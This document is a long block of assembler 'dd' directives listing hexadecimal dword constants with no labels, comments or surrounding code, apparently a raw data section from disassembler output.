dd 7D5F25F4h, 0C30F64FAh, 9B4A4A84h, 0D72015C2h, 5613BCE5h
dd 2F8A7836h, 1A55BE45h, 9B1F61FAh, 0CE53F86Fh, 0CBEE1628h
dd 0D0081710h, 5EE98FEFh, 65A32391h, 2CF01383h, 8ED85A0Bh
dd 73A1C620h, 75533C0Ch, 9A2C932Ah, 880EFCBDh, 0FE0E3189h
dd 0F36EE4C7h, 0C1EA6AD5h, 3F44DC95h, 0D345A028h, 0A2CBBAFFh
dd 0D749F85Fh, 0DF050109h, 0DE459A2Bh, 66112D07h, 0D2EF2804h
dd 8702765Dh, 0BC02FFEEh, 0DE2938ADh, 0F1A162FDh, 317E4E4h
dd 0CCFC8573h, 0C8778D04h, 9CC4EEA9h, 0F5A5D1FEh, 896B3480h
dd 70F5EAEDh, 3F6816C7h, 2806342h, 4B8EBF85h, 0DD1E0458h
dd 160D262Eh, 8E410DFh, 0BDD7E909h, 4AEEB0D2h, 3A8D4E5Bh
dd 0EC6E8E61h, 2CE9F0A9h, 0EFCFC0FCh, 0EC7542CDh, 0F989511Ch
dd 0B208CE92h, 59B8010Fh, 3E134E54h, 502655FDh, 41C30290h
dd 0F07515A0h, 77C9250Eh, 0ADBDB0F3h, 717B89F7h, 0AB668FEh
dd 0ECED6D2Dh, 3804D1F6h, 0EF012590h, 7B4C0810h, 0A223E983h
dd 7DC1C127h, 0B82DE8Ah, 987F4CB0h, 0F85456FEh, 3842568h
dd 4C66BB98h, 513FE17Fh, 0F62B052h, 9B4B43E9h, 2B320B9Fh
dd 0ACC4C3F1h, 0F82AC0A1h, 0B32E65Eh, 2E036851h, 0BD2A2DEDh
dd 4E44D320h, 6C81F128h, 0F81AE1B0h, 0F0EAF581h, 0D8677A39h
dd 5E16E5E2h, 350F1721h, 0E90601C1h, 0B9A54F29h, 22FAE0F5h
dd 0C4675973h, 4B650571h, 0E0DFE979h, 5C9D5BACh, 51D7C9A7h
dd 9FE9E18Ah, 54BD6E6Dh, 178D62C6h, 5B72F505h, 1DEABAAAh
dd 9CFDA786h, 6028907Ah, 0CFEB37EAh, 68764948h, 1FB7CB00h
dd 0BF5747C1h, 7823024Eh, 7F3BE973h, 0F870205Dh, 982D5463h
dd 7BB609B5h, 0F7DC45FCh, 0E91608A0h, 80416C5Bh, 0C728B4EFh
dd 775997D7h, 1CC59BEAh, 4D3ADD2Fh, 0EA42C35Eh, 25639402h
dd 28E44896h, 626990F0h, 3015F76h, 6B08B447h, 75BDCFF0h
dd 0DD482426h, 254D107Fh, 83979551h, 0C0F0B252h, 0E20C8473h
dd 4DAF605h, 4BC21280h, 6CDC0851h, 39D15C2Fh, 95FFA85h
dd 0CBBDE8D5h, 29E25D4Dh
dd 2D1ECD5Dh, 0A63B1453h, 0E60AE8EDh, 0FB968B53h, 418A2DABh
dd 102D5ACDh, 7F74C7CFh, 9FC39F8Ah, 0D6096000h, 4DE9FEADh
dd 637CBF63h, 0BD7F5A51h, 3FC600FEh, 0F028BB2Ch, 82FBE904h
dd 0A77673C8h, 415BB5F0h, 49DEADE0h, 8585E184h, 0E52B959h
dd 629D125Ch, 7E5EF209h, 5E90444h, 0E423AF7Fh, 0C6BF03E6h
dd 0A3672E5h, 6329651h, 2CE00C08h, 0E9634506h, 953E32C6h
dd 209AF75h, 0F1496B9Ch, 0D3F70A21h, 0F60098Eh, 431DE68h
dd 896BD712h, 5C294AD8h, 0C07315D9h, 0CE81DE3Bh, 143B5E6Fh
dd 0B8E6027Ch, 576A9621h, 126B4E81h, 3BB08125h, 56010509h
dd 0B5E2EF56h, 57F9EDF0h, 985EDB8Ah, 0FAF15FE9h, 0C2675FCBh
dd 7CB92AB0h, 0C1974A65h, 0D214F335h, 2EECA582h, 5C149FACh
dd 0B653C92Eh, 4929A42h, 0CD45AB59h, 0A9C841F6h, 0E77B5EA8h
dd 28FF5A6Dh, 285E6A4Bh, 0A94BF4F6h, 4B7348F7h, 777B03ADh
dd 0F7259FEDh, 814D91E6h, 3414ECF2h, 0CA1F4690h, 7A5669DAh
dd 5AC12716h, 207FD101h, 65A168B9h, 25168D3Dh, 0BF6E7049h
dd 340B4B45h, 425DDC07h, 0E555A177h, 284B08B1h, 3784D52Dh
dd 0D832C051h, 78053E3Ah, 4FEFD147h, 885067B8h, 26710265h
dd 1B17E9AEh, 382BA27Dh, 0B594573Fh, 0A1BA29ECh, 4A4DEE48h
dd 2AB414FFh, 32CEAF4Bh, 997D5E2Dh, 51C5E981h, 84EDB99Ch
dd 0EF2F6B30h, 4E804491h, 1F1A6800h, 6657596h, 722098AEh
dd 57B02892h, 0C75FFA90h, 40852694h, 12069FEFh, 0A1F06EE9h
dd 0CDD75CF6h, 3A6A474h, 19777DEAh, 0A441D501h, 0A4F37B08h
dd 940890D3h, 4250184Bh, 0DB429F2h, 88BB53E3h, 90085B3Dh
dd 18DA185Ah, 44CB96CDh, 587D5F18h, 273B520Ch, 99E337FBh
dd 80C242B1h, 7874EB76h, 0D6096F2Ah, 0B0EDF8F2h, 58C95056h
dd 4327F341h, 0C6CFEDF1h, 79F2B13h, 0E25759CEh, 0FBBD1055h
dd 7727F67Fh, 0D8BF4131h, 0B95C003Eh, 4FF70B68h, 0AD5F53F4h
dd 0A5EA37AAh, 0E38DFBFAh, 0B92507E0h, 963609BAh, 883CAD6h
dd 0D960EF6Bh, 2E79580Ah, 54C07D3Dh, 26BEEB4h, 5CD4490h
dd 553AA45Ah, 0B05B3940h, 685AB437h, 0EB5A16D6h, 8D44848Ah
dd 0E01A0638h, 0B3AB95Fh, 9DC1D097h, 1F2E845Dh, 0BF26CCAFh
dd 0BE077B3Fh, 0D0FB972Ch, 0C3045BE5h, 6E6DF1EFh, 0D70452DDh
dd 981F1EFh, 0B1A22B0Eh, 2A808F97h, 2E28A0D3h, 584E3926h
dd 4C6BAA98h, 2D68E31h, 5FCA68B9h, 10F74C77h, 1071539h
dd 4BE309F4h, 5838A7E9h, 0C0C1B402h, 0F2C006E4h, 0CA7FFEA5h
dd 74370830h, 3253F305h, 2A8825B3h, 0B66585D6h, 50E3F895h
dd 0ECDF01C9h, 0D231090Eh, 2221EE9h, 0A245D701h, 50A374ADh
dd 8C4DB7E9h, 78EB3ABDh, 5F88D825h, 4308D267h, 0C01C44B5h
dd 0D77B2DCDh, 44292617h, 59F738FEh, 4B68500Ah, 0D06AA60Eh
dd 58FC1D20h, 0B7CC274Fh, 3055419Dh, 809F8620h, 6DEBBBDh
dd 0E6095807h, 0CE63C54Ah, 8CEA4E63h, 0A82D68E9h, 0C83C9B40h
dd 0FB560CBCh, 0C05CD060h, 20AE351Ch, 0B9F7716h, 0F7657D03h
dd 0C4AA6A8Bh, 9F0BF094h, 0DA880481h, 3BD1CD5Bh, 6E07F705h
dd 4E881D6h, 1D646BDDh, 34CBEA89h, 3C7B0B4Ch, 0EFDFAD3Fh
dd 5C5EEE4Bh, 6596520Fh, 4F41BE98h, 15C1B083h, 0C0144C9h
dd 3F550CB5h, 2E3AE9h, 17F8B8E2h, 2D040841h, 8D47C45Ch
dd 414A4DA8h, 0F9539CC6h, 0AFDDDB7Ah, 0B3E98093h, 0A3624A65h
dd 840DD48Bh, 8CAFEE38h, 424045F5h, 658F3868h, 0C038EE4Ah
dd 203F985Dh, 354BF30Fh, 8A151EEBh, 9DC073F1h, 0B1D1C9EEh
dd 38A7BC48h, 0D0376F2Dh, 5673206Eh, 749ABB0Ch, 3BEBC25Fh
dd 13314FAAh, 0C024EE0Ch, 5636E967h, 69F646E5h, 25DF1CF3h
dd 0F3875E2Ch, 0A913A6B4h, 0C7E0748h, 6F78FDh, 63F66EB2h
dd 2CC2F68h, 1C79EE98h, 2616C937h, 65951150h, 0C4FB4C29h
dd 36144A05h, 0CF83AA44h, 5FCC17D1h, 27B7F345h, 15ABFF73h
dd 236F207Ah, 0BDECC12h, 374E09BBh, 1952B508h, 13F313B6h
dd 8C6894Bh, 0B8011547h, 2B7F72D6h, 883871E9h, 73FBE02h
dd 35603E0Bh, 273B174Ah, 84F60E56h, 830C0B57h, 0C9FEDC3Eh
dd 0A27E293Dh, 0FED241h, 3B4A31F1h, 682C5D5Ah, 0E9866772h
dd 90DDC3DBh, 1AE13D91h, 985D587Bh, 337AF581h, 0A90C2F6Dh
dd 7B689734h, 79AF9C03h, 9BF62B5Eh, 4A884510h, 4A3124A0h
dd 506F883Ah, 0B1C5B002h, 7CC13010h, 4785497Dh, 3B98FFCFh
dd 315E1768h, 0E9110543h, 0A6A3EF98h, 0A9745016h, 0EAC2028Ch
dd 614A4019h, 0CFAF3203h, 0C1D77205h, 6D487EF0h, 98659309h
dd 1450D01h, 0A06B7D4Ch, 6D905307h, 0C6FF309h, 578A0261h
dd 5A06850h, 93291CCAh, 0D8D35Ah, 0ED0DBA2Ah, 371E975h
dd 1160E8BEh, 0C93DEA71h, 0C575529Ah, 443DEA28h, 57AFC6Dh
dd 1D4C685Fh, 0E7892E5Fh, 0A462072h, 0E329160Fh, 86E6043Fh
dd 41614DFh, 18937002h, 2221CBB9h, 0B8B9926h, 0D500DF4Bh
dd 0E6494E3h, 579D7C79h, 3C8F31A1h, 33ED7041h, 0E01DF655h
dd 0CD9E6375h, 0EE0B029Eh, 954ED78Eh, 0C16064F8h, 7C4BB918h
dd 4D8498F9h, 592D4856h, 27159D75h, 0D2138B45h, 11D346BAh
dd 16995222h, 0D6805DC5h, 60262F3Dh, 47256040h, 0E913127Ch
dd 5B36C58h, 0B1D5EC4Ah, 0C05964Dh, 35153849h, 0A275DF5Fh
dd 0B7C8ABFh, 0D74DC4E9h, 0ECC20DEBh, 5B5FEE50h, 0CA021EACh
dd 7B195455h, 0FC8F0340h, 8B951EF8h, 52065A00h, 0F226ADC1h
dd 1C261042h, 0CF9FF931h, 17C0E7D4h, 3ABC45B3h, 54927C9Ch
dd 68C69CB0h, 0F473D725h, 0ADDCEE7Dh, 4AC79657h, 3EAAE125h
dd 0F27E158Ah, 7CE6BDD5h, 0F737DEE8h, 0D9F508D3h, 5B2410BCh
dd 0EE350DE0h, 10552D0Fh, 5A258BBCh, 0A109E852h, 0F7305B21h
dd 0EE806449h, 5B00ADABh, 25B47047h, 0D0F75804h, 0D3801C2Dh
dd 628CE98Ah, 5779DF75h, 5065F546h, 0BEA6B088h, 83FD6635h
dd 2E7A13D0h, 5A26AB91h, 0E56C1827h, 8281B620h, 0BDE7B46Eh
dd 96B79D50h, 2C58B46Ah, 4B54AE97h, 0F2D285F5h, 6ADAA4A1h
dd 0A7787DA0h, 4E4DCBA0h, 0FEAF6F99h, 0ED81C24Bh, 90577057h
dd 0F36B5B8Ch, 65F4858h, 2B410E2Eh, 3762B5C0h, 54F55C7Dh
dd 0F2E941C4h, 0A688FD0h, 40EE3D67h, 0AE2B82Dh, 5526E3CEh
dd 0B182252h, 1EE1C655h, 0D66E117Ah, 0BEB384BFh, 5025AFCBh
dd 0DDE95F54h, 68044546h, 17C87E5Ah, 811780FAh, 392E2E1Eh
dd 9C0EC94Bh, 0E935C1EBh, 0AB8B6F4Fh, 0F45151E1h, 57203E80h
dd 9295E78h, 0B44AE9F1h, 5D4B15FCh, 0FB9C3968h, 61B354BFh
dd 335BC968h, 2B5224ADh, 0A204DB05h, 1D843C1h, 2C87F22Ch
dd 0FEF007EBh, 68F78C96h, 5A4A2225h, 202A41EDh, 51316AAh
dd 1401309Ch, 65C304BBh, 402C0C82h, 0C4C850E5h, 78B570E9h
dd 0FF449FF2h, 0CE8C100h, 0F668C831h, 0A75DC576h, 7373EF59h
dd 0A91D1767h, 0B80D902Ah, 2E4BCB27h, 184F6F8h, 53C7C3EFh
dd 0C0F8F92Ch, 5E094210h, 12DF3166h, 3F5C46D4h, 680BD830h
dd 36A17DAh, 0A540DC75h, 88BD6577h, 0EA821F4Bh, 0F77A1BEEh
dd 540BF35Ah, 0DD4A3EE9h, 2A2C1A31h, 2813F1F3h, 805C28E3h
dd 0FEFACB0Bh, 26C885C3h, 5B76F7AEh, 7FAA934h, 7FD15FC8h
dd 0BE8806F3h, 509F11BBh, 25D84941h, 0D213B75Fh, 18B1A3D7h
dd 0E8FC396Fh, 0B1FC2BE9h, 2CBE3CC3h, 2B548DDEh, 0E9C42ABCh
dd 3057B1D4h, 0BA02F22Eh, 68DD79ADh, 31ED9089h, 60D78245h
dd 2762462Fh, 0C9F23A35h
dd 0B05FB41h, 0DE0A0D82h, 0D033504Eh, 70B15180h, 59C82799h
dd 0B59EC9FCh, 489526Fh, 0E99DB753h, 80DA953Ah, 5FC8F4E1h
dd 0DFDDDA4Bh, 0A73020h, 814DD90Bh, 2D473FCEh, 0D6E9E9F0h
dd 5E9F8E64h, 0E983DE5h, 1AC7174Eh, 18E3512h, 2E5094A3h
dd 83C69D3Bh, 0F9BDC6F2h, 9025BCF5h, 86A0AB76h, 0A04C2209h
dd 8B5F0B77h, 96F7C2Eh, 78D45D16h, 811C9D50h, 68C870C1h
dd 6628442Dh, 7BA1909Ch, 42322595h, 0C7589974h, 662128Eh
dd 27CE93Fh, 606A19F7h, 0F701754Eh, 0C1FCAEBBh, 0AF3BEBh
dd 38D0C18Dh, 0C2B83BB3h, 8229982h, 0F0795EF1h, 95C7D8A5h
dd 5B64B15Dh, 0B4FDFD2Fh, 0CC5198AEh, 7FCAC295h, 0B52EEF9Ch
dd 74AD3A35h, 659E4014h, 0C0BF10F2h, 0BFA0F625h, 8C2059ECh
dd 0F65E5AFCh, 10B34F01h, 2A15AF11h, 68BDD04Dh, 59DC2E4h
dd 1465D3Ah, 28C38AEAh, 29250FBFh, 47D0DCFAh, 0F0290BBDh
dd 0DD258955h, 3F2F8D14h, 0F2081A3Eh, 0A89685A5h, 90644BE9h
dd 921C6F1Dh, 0CB1F2196h, 0B11D428Bh, 4CE853F3h, 1E229746h
dd 0CC405FFAh, 0F55B4A1Bh, 9B0A2C0h, 0DE1A607Bh, 7984067Dh
dd 7E94209h, 7F5FB241h, 0A0BD8AF8h, 7D957242h, 3B569578h
dd 53AC5845h, 20E4124h, 10897BD2h, 81E70057h, 2C5A82E6h
dd 3A96A43h, 7FDC2AE9h, 38120C04h, 0BC8034D3h, 7CFE31F3h
dd 0EDF60761h, 992F2B9Eh, 0D5E92F01h, 0B6236ACEh, 77064083h
dd 897A758h, 192C52DDh, 0DFA91C13h, 9351F94Eh, 2C54B9E2h
dd 0BA1C4A5Fh, 292CCCCAh, 0F5A60BADh, 7F953D9Ch, 0F7E97EB0h
dd 2944CA5Ah, 116DACCh, 0F4422150h, 0F5FB2168h, 0FC972F1Dh
dd 0CF365D67h, 9260F7D1h, 0C8AFB521h, 2293D4FEh, 0AD17AF4Fh
dd 7B4B3421h, 0EB805800h, 84716258h, 3104FA71h, 2921DCD1h
dd 6AC42C9Ah, 213ACD3h, 41EC7827h, 52A70860h, 473AC016h
dd 5620B6CDh, 9A4D0554h, 4EFBD0Eh, 0FF293AF1h, 83A04D25h
dd 98EBF843h, 67192596h, 7BEEE67Dh, 0A1CD4D0Ah, 7F2DAD01h
dd 0D6069B01h, 66142C7Dh, 86530140h, 8E1C10Ah, 0A568CCD1h
dd 0A41CD9B7h, 25521CB3h, 88884555h, 68029C2Eh, 0DF0D2A97h
dd 0F6E6B3C0h, 5ABE1913h, 688422EEh, 2761E290h, 8138D203h
dd 0D77488EDh, 0DDF5C19Eh, 0C8307CB2h, 0ECEC4163h, 39397DCDh
dd 8ACFD0A4h, 1699D682h, 8D3E0252h, 0A4C1F5B2h, 0A1E47CA2h
dd 168E25D6h, 0D9E5CA01h, 0F4EF20FBh, 0CCA1A04Bh, 12CA6F35h
dd 0F80F3A65h, 0D28E850Fh, 1323E2EBh, 0BDA7C879h, 0CC8931D2h
dd 6E18B23Eh, 2591DE34h, 0E9C1207Bh, 63263EFh, 1AC33077h
dd 2979350Eh, 0F54C4125h, 81D55EC1h, 37574AF2h, 23315A19h
dd 0B838C36Ch, 0AA41A00h, 3C69BB25h, 61CB3B5Ah, 337F7205h
dd 8060C539h, 9EE2AE3h, 9EA04FB0h, 0D5918668h, 4DB4A4CFh
dd 0F1D201ADh, 4CDA402Eh, 8195E62Ah, 8A6DFD74h, 3434076Eh
dd 3162A260h, 2909B5DCh, 78F175A4h, 374AE201h, 8A006345h
dd 281330ADh, 0AF00D701h, 0B8505FFEh, 654312ABh, 14F2BDEBh
dd 966A4935h, 0E9D9C1EFh, 4652818h, 0BD5C0ABAh, 32109AEh
dd 0D4A6C085h, 0FCF8EE02h, 0E65EC838h, 3DE90960h, 88E17636h
dd 0CF886D60h, 5BF0E2Bh, 8028A324h, 97106CE6h, 83E83760h
dd 9857B32Ah, 0EE204BF3h, 4E7022CDh, 43085E97h, 641380FFh
dd 0A4F421FAh, 5E656D09h, 6B2B6F5Dh, 2ABDC8A0h, 104D23Eh
dd 4B5DEB21h, 0C0A0C1EBh, 5ADD6352h, 208604FBh, 4CDAB94Dh
dd 0C3972D5Dh, 5A148090h, 23A0C432h, 80001E7Ch, 0C5860DEDh
dd 8D06FF6h, 0E3C0E524h, 37E909EDh, 0FAE5FF8Eh, 76DAE961h
dd 88585D87h, 864BCF2Ch, 0C1553742h, 5B7FBBE6h, 0DE98CE20h
dd 7497535Bh, 0BE6689B6h, 318B2D0Eh, 7BBFB87Ch, 0B6FF395h
dd 439A84C2h, 56538248h, 2716687Dh, 0DCFA1BABh, 0F8093EDEh
dd 5789E454h, 0AF09B378h, 37B363Ah, 5C71DB7Ch, 0C30199BBh
dd 7E596382h, 26A7BE5Fh, 140525CEh, 0A8B00E58h, 455213F2h
dd 4D142116h, 18C204BCh, 30D9DDC0h, 0CB15150h, 59C8881Dh
dd 0C3E60A36h, 5A06CC67h, 8216DA0Eh, 661FF9F4h, 50510F42h
dd 0C4E416B4h, 401CAEDFh, 1645CBD4h, 8DF8F97Bh, 72918993h
dd 0FC5E8B5Ch, 0C7B2C305h, 0EAEB3B02h, 614BDF2Bh, 7A39070Ch
dd 0EDE502Dh, 0CA6C575Ah, 3B57C501h, 0CD01753Ah, 846EDE1h
dd 0BA9C40CAh, 0B2666917h, 0A2F2530Fh, 401B9514h, 9F043558h
dd 27207D50h, 0C0681C86h, 0FEFE2F4Fh, 0BEFE0072h, 0FB2E4A2Bh
dd 6834F03Eh, 6C20E52Ch, 111CC3C3h, 4A55CB4Dh, 82AB80BBh
dd 30B78088h, 137FC23Eh, 0B046972Eh, 0CC30712Ch, 1470C27h
dd 0F93173DFh, 0D00828A0h, 2090140Ch, 86E95967h, 51F82A5h
dd 2B8906FEh, 46DC0231h, 9225A68h, 790A708Bh, 83307075h
dd 520C0508h, 0D5142D10h, 0CFCDE3Bh, 0F1F1BAE9h, 7D2B434Dh
dd 78B81559h, 0A927DD77h, 30D07AC3h, 5B0CC904h, 1CCD5551h
dd 826B3A6Bh, 87059D4h, 0DE8A8870h, 0C5E95858h, 3329D34Bh
dd 83489666h, 3F759C01h, 60E78170h, 14BA258h, 2006C5F4h
dd 0B1952234h, 0F540555Ah, 0B73A3632h, 0F098E244h, 17D62618h
dd 565880Ch, 0F58976B7h, 0E384FE5Eh, 630322AFh, 2872B55h
dd 1A0E812h, 3A344A68h, 1DE3A130h, 0E9653C21h, 0C4D1164Eh
dd 9A80EF85h, 0BF128549h, 1A4A5CF8h, 7F586EC2h, 0F75AABD9h
dd 5DA58667h, 16C74168h, 9558C6B5h, 7EBFB5DAh, 0FBEF6571h
dd 1617F895h, 0BE0812FBh, 426FEAF7h, 0B2FCB5C5h, 0D4680E14h
dd 9DEF1220h, 0E9C38469h, 431433C9h, 691FE992h, 852B74FEh
dd 44EED8E9h, 0C55EF38Dh, 0F8B5F59Bh, 0E59DF23Eh, 0F06697E0h
dd 96955B95h, 16E91924h, 2B5E38F7h, 24FA9813h, 0CA36E948h
dd 8BA09334h, 0CD594E04h, 7AF4A26h, 39DD30A8h, 132CB904h
dd 4A7B33F0h, 0BB673161h, 3E573E27h, 0EEA258EFh, 0FA276537h
dd 0A0FDF638h, 0B85E4A08h, 0D8BA4A77h, 794DE06Fh, 7DE0569h
dd 38C1310Ah, 1B742161h, 0C35C278Ah, 0E7012374h, 4130480Ch
dd 8E5BE47Fh, 44403103h, 765FA2E9h, 0DC7A27D3h, 0B6CE92AFh
dd 1FDE83E9h, 0F4B41E32h, 0BCD52568h, 329381CCh, 0B9BA1281h
dd 7AA62D0Ah, 2D7FCDBDh, 59F264FDh, 501F520h, 62286CB8h
dd 0AFB8D42Fh, 0B410FACh, 4A694730h, 0C0A37468h, 47577001h
dd 520E20FDh, 0C9BF7B9Fh, 82970364h, 0BA4F28h, 6E685250h
dd 7002CE6h, 38CA815Ah, 7E15EA18h, 0B07BD7E9h, 7E40B50Ah
dd 354D7E5Ch, 0BE520C0Fh, 0D4B00C07h, 0CDA8BC24h, 349C267Fh
dd 854A76Eh, 51DB7D5Ah, 2908AD20h, 62A612Dh, 8EEC25C7h
dd 6006D0F8h, 0D3011816h, 4508831Ch, 81F2141Ch, 0E1B7E920h
dd 3B43372Bh, 0E8B10462h, 12F032C7h, 0D840F7E9h, 0A10AF9BEh
dd 0C6016C32h, 0E9518106h, 0D60CA50Bh, 0E197BD75h, 0A2635273h
dd 558916h, 13764894h, 4CBD3525h, 2C9AF90Bh, 0DDAF420Bh
dd 32F7A692h, 0F3F07DC0h, 84CC4595h, 0AC3C13E9h, 535DF0F5h
dd 2EFF86BBh, 0CAEAF616h, 6CBB4FCCh, 4BB05060h, 202FC20h
dd 0C95F381h, 60412927h, 28A2270h, 2F944A75h, 9D1D6C5Fh
dd 154810F7h, 0E6769F14h, 0F196D198h, 801A1DC6h, 84E4D363h
dd 0E09EEEFFh, 9778FC5Ah, 0E9C26AEDh, 0BF6A217h, 1BD044Fh
dd 7E6DCEEFh, 0B0127C2Eh, 0B1298488h, 6F8EB064h, 800E84C0h
dd 0E94F13EDh, 0EF0D22EEh, 0F5704A7Fh, 0DA9AC865h, 200C14Bh
dd 22409B18h, 427009BDh
dd 4FFC0D65h, 96072116h, 55B7D2F7h, 0C03F08F0h, 1886FF1Dh
dd 4953F4E9h, 2B2D34Fh, 0A0DCD124h, 253278AFh, 0F87E3F51h
dd 2DE3F569h, 6BC613AAh, 3017F795h, 95E9F103h, 0C2230356h
dd 70F35AFAh, 12EE0C5Bh, 8C6721CAh, 7A2F323Ch, 4EE03D2h
dd 0D1F75386h, 7228AFAh, 0C174DEC7h, 5B5BD0E0h, 0EE780150h
dd 2B2B6F3Ah, 7142A84h, 0DFAB4A7Ah, 75012718h, 9D274BBBh
dd 27EEF459h, 6861227Bh, 0CB664414h, 0B417F704h, 0A4F3807Dh
dd 77583312h, 94F4262Ch, 0D209A5BDh, 1BF207A3h, 0C4067818h
dd 2EE1AFB8h, 0C224E07Fh, 3473745Dh, 11857524h, 43EBB356h
dd 98C0E934h, 0B3B82603h, 5A445B0Eh, 41E5A83Eh, 90B0486h
dd 0CE79C9B4h, 80CDB501h, 0ECF5FDC5h, 9F5C1124h, 0F4205216h
dd 13B57622h, 0FE6DF580h, 0F28F8D1Dh, 25CA21F8h, 0E533DAF6h
dd 9C37944Eh, 455C7D20h, 62BF8182h, 0AF3B55ECh, 5ECB8D40h
dd 24D25A4h, 0E907EDC1h, 47DF6227h, 0C14A965Ah, 0DD575309h
dd 0AF007F1Eh, 0BD04D334h, 8081A088h, 0B0414CF6h, 2D13F520h
dd 331E52A3h, 169BDD95h, 69EF5B54h, 0EA64050Bh, 5FA0A68Ch
dd 5C2D889Fh, 2DFFEBFh, 72671CF9h, 95F116D5h, 0B60A44F4h
dd 6861C111h, 6D76556Bh, 0EB154913h, 7EF67028h, 34AF9h
dd 2DD8F77Ah, 8C0CBD70h, 73C50136h, 975BE9h, 57F6B971h
dd 0DA9D2790h, 5C47039Fh, 99E96B70h, 337148Ch, 405A6AE7h
dd 0E2D7E148h, 5DEB9B82h, 2B82FB31h, 4655B1C9h, 626FF2A6h
dd 0EF011282h, 705D1842h, 5A48FA15h, 0C8D32823h, 0BBD3540h
dd 323A2B99h, 0A9890704h, 73C60227h, 407C5D28h, 24563604h
dd 25036E6Dh, 0D5318660h, 0D6CF052Dh, 22C82550h, 2177FEFh
dd 0E3B01C94h, 5B08A1C7h, 3D34452Ah, 549AD1Fh, 308A2142h
dd 87B0D60Eh, 0E9C2DC96h, 58F068F3h, 72EA2D68h, 0C8FD5119h
dd 0D1B7FEF3h, 22E90601h, 566084F0h, 9E746B56h, 166AB07Eh
dd 54407AAh, 0A3A4FCE9h, 614101C8h, 0EA8145DDh, 0FE034FF3h
dd 0FAD4D157h, 62DE7BCh, 61C512FDh, 0C33BD1FFh, 0E9884AB7h
dd 0FD95D73Ch, 53A4A096h, 75720CB0h, 749DA49Ah, 0C2F752ACh
dd 8BA97FCEh, 0F3C042D6h, 2D274ED3h, 0BF60892Bh, 43179DEEh
dd 4B513A5h, 8A210804h, 0BA008909h, 72E6162Bh, 6362B190h
dd 0FF5DEEDFh, 0FEBC1816h, 7784F3CFh, 9786E3AAh, 0DB1772B7h
dd 23D9FE38h, 970B0CECh, 106241A7h, 7A351789h, 66E55209h
dd 0B9097D09h, 5FFAF254h, 888E505Ch, 0D52F2BEEh, 0ED3067E4h
dd 83BF7A57h, 39E1133Fh, 0BBA4AB47h, 1B3B1E25h, 340581CDh
dd 0D436C521h, 0BA27C3B5h, 350AE081h, 0DFC2E146h, 5857DCB1h
dd 0E9155489h, 2EE3308Eh, 9F157ED8h, 0A2855E79h, 499CA7FEh
dd 88E90897h, 2FB9023Bh, 0B6E11B36h, 5509DA6Ah, 5C12E595h
dd 35E168FAh, 0D847326Ah, 1B1FE502h, 0E9F0D528h, 0B4162AE7h
dd 1E8DFB13h, 1F30D0C1h, 0F3704BB6h, 76EF0732h, 0B9D5377Ch
dd 0FB69D2FAh, 25FD7C42h, 5CC02905h, 0CD5E6CE9h, 0E4535D82h
dd 0C4973307h, 5E650BE0h, 94571A66h, 0D8E924C3h, 8648B251h
dd 0D898747Ah, 8D4DF609h, 887F7Bh, 41E90507h, 3B12E90Eh
dd 5AA34EDAh, 0C3D12D07h, 0EEE8857Eh, 0F26BF699h, 0E0E90B16h
dd 0A30CB03Ah, 3D6F2571h, 0BC2163D7h, 1B8E7E0h, 39CD097Eh
dd 3059C831h, 0FBEEF251h, 901113Bh, 0D6063468h, 0DB09C08Dh
dd 0D0060D62h, 4067BB41h, 46D80ABEh, 2CC39ECh, 30633BA3h
dd 95DFC83h, 80BA5A4Bh, 0DC144BB9h, 84C2D4FDh, 7FD92725h
dd 765F8AE9h, 264F7C8Fh, 0DBF744C1h, 0AAD10492h, 13F113D8h
dd 2408203h, 123911C2h, 0F3D5E40h, 9779858Ah, 1653FEB0h
dd 8C3E2068h, 0C2950EE4h, 56788B66h, 3AF72F6Fh, 0CF9103Eh
dd 0CE79957Fh, 5C74C9CFh, 0A1E793B8h, 0E0FD7892h, 0B1216168h
dd 7F579EBCh, 352E1F80h, 2722BA5Fh, 51297E27h, 24F0272Eh
dd 0B12F98B8h, 0E780D9DCh, 0B41164E9h, 4838EE67h, 0DA01920Ah
dd 21572F42h, 0E9F18746h, 0C8335BDh, 1D45B19Ch, 0EAB0F0D5h
dd 0AA12E300h, 777F05C5h, 0A16F5A43h, 0AE0704CBh, 5026438Fh
dd 0E80313BDh, 0C70BA1A8h, 0BF8F312Ah, 0CE920487h, 0C014F502h
dd 684EB290h, 53A1E4B8h, 0F1E5810Dh, 11432C3h, 347BBA4h
dd 5F57D75h, 968E563Fh, 0F9806F09h, 0BA4860E9h, 0BD6CFE88h
dd 7827D64h, 0DC8B0BF5h, 422E0156h, 3BB605E9h, 9055CFF2h
dd 13B0EE20h, 9092D4Eh, 0CE197E6Ah, 50448251h, 0E1590AB0h
dd 0AD81276Ch, 568C76C7h, 7BC5D9A9h, 0C6E9C742h, 3F4F253h
dd 4F392501h, 104B43C8h, 41797BE0h, 1AD83CA2h, 77303758h
dd 0AECA61FCh, 68A20E18h, 47469738h, 3F4E64F0h, 0FF4EF7E3h
dd 1965348Bh, 0E5FC85Fh, 0B2E72941h, 615A6ACDh, 9565567Dh
dd 0E83A4149h, 94CBB86Ah, 42DB2784h, 65015B97h, 225261DFh
dd 42094868h, 0FA5FF54Eh, 2F7ABFD7h, 18671A1h, 0EC46DEF7h
dd 13524AAAh, 7CEEF72Bh, 60D0BFh, 0BA50680Eh, 4D0A39D3h
dd 2AFA3130h, 187917E2h, 0E42283Bh, 0A70577CBh, 74FDE960h
dd 12A630ABh, 6614FC17h, 4F25548h, 9F27C01h, 0AE53EA05h
dd 474D07F7h, 2DC9810h, 0C7239BEh, 0B4A4C336h, 27110407h
dd 0A262928Dh, 5362A0DEh, 8C18D559h, 149D35D2h, 0BB07D64Ch
dd 0BCE91F43h, 80240EC0h, 0EB6466CBh, 87C0AB06h, 27E9C9FEh
dd 0BCA55E4Bh, 662DA0AEh, 60A1995h, 9F20CCCCh, 857F3762h
dd 9AD95967h, 5A3CDC6Bh, 0E94B5650h, 0D69A1C78h, 366CC095h
dd 0F2E72CCCh, 0B111080h, 895EB7B9h, 0A026700Eh, 62E8A6h
dd 0DA054E20h, 21228C17h, 44EFD29Fh, 0E9195601h, 0AC4483FAh
dd 0AB1C47D8h, 6CB1E1F1h, 0B795C87Bh, 0DF96A852h, 0D74CE209h
dd 54C21493h, 53684068h, 0F1E6484Ah, 6D11E660h, 48B71C1Dh
dd 0EE5BF507h, 0FEE92D5Eh, 0CF598E89h, 0B2A2E9E1h, 4EBD5C81h
dd 21029151h, 7F3DEC44h, 0CF812600h, 33C56B1Fh, 214B3168h
dd 518BC37h, 144A8101h, 21301354h, 0EDC080FAh, 0CDFE041Eh
